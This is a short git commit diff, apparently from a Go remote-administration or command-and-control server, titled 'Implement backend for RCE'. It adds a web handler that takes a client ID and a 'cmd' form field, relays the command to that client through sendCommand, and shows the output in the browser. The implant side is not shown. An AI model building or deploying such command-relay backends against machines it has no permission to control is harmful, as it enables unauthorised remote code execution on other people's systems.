Implement backend for RCE
This commit is contained in:
parent
4a0aafe237
commit
513d707df4
|
@ -5,6 +5,7 @@ import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"net/http"
|
"net/http"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
"github.com/spf13/viper"
|
"github.com/spf13/viper"
|
||||||
|
@ -54,10 +55,25 @@ func getCommands(c *gin.Context) {
|
||||||
}
|
}
|
||||||
c.HTML(http.StatusOK, "templates/command.html", gin.H{
|
c.HTML(http.StatusOK, "templates/command.html", gin.H{
|
||||||
"UserAgent": c.Request.UserAgent(),
|
"UserAgent": c.Request.UserAgent(),
|
||||||
"client": client,
|
"Client": client,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func execCMD(c *gin.Context) {
|
func execCMD(c *gin.Context) {
|
||||||
fmt.Println("HELLO")
|
id := c.Param("clientid")
|
||||||
|
idInt, err := strconv.Atoi(id)
|
||||||
|
if err != nil {
|
||||||
|
c.String(http.StatusInternalServerError, "Error happened, please make this a proper error later")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
command, _ := c.GetPostForm("cmd")
|
||||||
|
|
||||||
|
out, err := sendCommand(idInt, command)
|
||||||
|
if err != nil {
|
||||||
|
e := fmt.Sprintf("Error happened executing command: %v\n", err)
|
||||||
|
c.String(http.StatusOK, e)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
prettyOut := strings.Replace(out, "\n", "<br>", -1)
|
||||||
|
c.String(http.StatusOK, "$ "+prettyOut)
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue